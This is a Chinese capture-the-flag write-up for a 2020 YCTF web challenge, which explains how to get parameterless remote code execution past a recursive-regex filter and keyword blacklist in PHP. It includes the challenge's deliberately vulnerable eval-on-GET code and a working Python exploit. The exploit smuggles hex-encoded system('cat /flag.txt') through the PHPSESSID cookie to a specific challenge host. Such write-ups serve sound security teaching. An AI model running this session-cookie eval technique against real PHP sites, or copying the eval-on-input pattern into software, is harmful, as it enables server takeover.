• [2020YCTF]web1-rce_nopar


    [YCTF]web1-rce_nopar

    前言:

    比赛题目环境版本是:PHP/5.5.9-1ubuntu4.14

    如果要进行本地测试,请尽量使用附近的版本,我测试过5.6版本基本都可以用。

    如果自己本地搭建,payload没有成功,请检查PHP的版本。

    经过本地测试,payload在PHP7.2的版本,payload会不起作用,也得不到flag。

    原因是更新的版本函数执行底层代码改变了。

    考察:无参RCE、session的使用、正则表达式

    进入页面,显示如下php代码。

    <?php
    if(isset($_GET['var'])){
        if(';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['var'])) {
            if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {
                   eval($_GET['var']);
            } else {
                die("Sorry!");
            }
    }
    else{
        show_source(__FILE__);
    }
    ?>
    

    关键代码如下:

    if(';' === preg_replace('/[^W]+((?R)?)/', '', $_GET['var'])) {
        if (!preg_match('/et|dir|na|info|dec|oct|pi|log/i', $_GET['var'])) {
            eval($_GET['var']);
        }
    }
    

    先分析外层if句的正则表达式:

    [^W]+((?R)?)
    

    首先分析[^W]:

    ​ 其中"[]"表示匹配的开始结束,"^"表示取反。

    W,(注意这个W是大写的),匹配非字母、数字、下划线。等价于 [^A-Za-z0-9_]

    ​ 所以[^W]是对上面的w取反: 匹配所有字母数字下划线的字母。

    不太熟悉正则的注意正则中的 “+”,是为了拼接整个表达式的,并不是需要我们匹配 "+",

    然后是((?R)?):

    ​ 其中两侧的( 和)表示匹配括号。

    (?R),(?R)表示递归表达式本身,

    (?R)?,最后的"?"表示匹配1个或者0个表达式本身,最后的 “?” 必不可少的。

    综上,我们大概就清晰了。

    整个正则是要把对应形式的内容提取出来,然后通过preg_replace函数,用空字符串进行代替,得到一个字符串。

    得到的这个字符串必须是完全等于“;”的。

    我们的payload大致为如下形式,可以带字母,数字,下划线。

    一定明白好这个正则,使用函数必须无参。

    a(b_c());
    

    接下来分析内层的if判断句

    其实内层的正则就比较好过了,最重要的还是外层的正则。

    /et|dir|na|info|dec|oct|pi|log/i
    

    两侧的 ” / “ 是整个表达式的开头和结尾,结尾的i表示不区分大小写。

    用|分隔多种匹配情况。

    即:et、dir、na、info、dec、oct、pi、log都是非法的字符。

    综上,第二个正则:

    我们输入的参数,不可以带 et、dir、na、info、dec、oct、pi、log中的任何一个,即便大小写混合也不行。

    进入我们构造payload的阶段

    先给出exp吧,这样还比较好解释。

    脚本是python2的 , python3的encode()函数使用会不一样

    import requests
    
    url = 'http://124.193.74.211:32373/?var=eval(hex2bin(session_id(session_start())));'
    
    payload ="system('cat /flag.txt');".encode('hex')
    #73797374656d2827636174202f666c61672e74787427293b
    cookies = {
    
    'PHPSESSID':payload
    
    }
    r = requests.get(url=url,cookies=cookies)
    
    print (r.content)
    
    

    经过分析,我们有了思路

    第一我们清晰了参数大致形式: a( b_c() ) ;

    第二明确了传入的var必须是无参的,但使用eval的执行没有参数又是不太现实的。

    第三我们需要特殊手段,注入需要执行命令的参数,比如~: cookies。

    惊喜:cookies有个PHPSESSID,在调用PHP的session_start();后函数会自动生成。

    当然,在合法的规则下,我们可以更改这个PHPSESSID的值。

    总结出利用手段:利用session构造无参数RCE

    解释函数:

    仔细理解session_id函数的使用注意,这也是为什么我们要把命令执行语句,转为16进制字符串的原因。

    函数 功能: 使用注意:
    session_start(); 创建新会话或者重用现有会话。 如果通过 GET 或者 POST 方式,或者使用 cookie 提交了会话 ID, 则会重用现有会话。
    session_id(); 可以用来获取/设置 当前会话 ID。 不同会话管理器对id中可以使用的字符有不同的限制。例有的管理器允许使用字符:*a-z A-Z 0-9 ,(逗号) - (减号)。
    hex2bin() ; 把十六进制值的字符串转换为 ASCII 字符串。
    eval(); 把字符串按 PHP 代码执行。

    函数执行过程:

    传入我们的var变量和PHPSESSID后:

    eval($_GET['var']);会触发

    详细执行情况如下:

    根据脚本此处 shell <==> system('cat /flag.txt');

    eval("eval(hex2bin(session_id(session_start())));");
    

    最后我们就得到了flag.txt文件的内容值。

    image-20200329011744791

  • 相关阅读:
    Web安全
    前端安全之XSS攻击
    SQL盲注
    Vim使用手册
    VC获取cookies的几种方法
    Wireshark基本介绍和学习TCP三次握手
    细说Cookie
    top100tools
    如何更改Jframe里Jpanel的大小
    HTTP&&Fiddler教程
  • 原文地址:https://www.cnblogs.com/h3zh1/p/12590568.html
Copyright © 2020-2023  润新知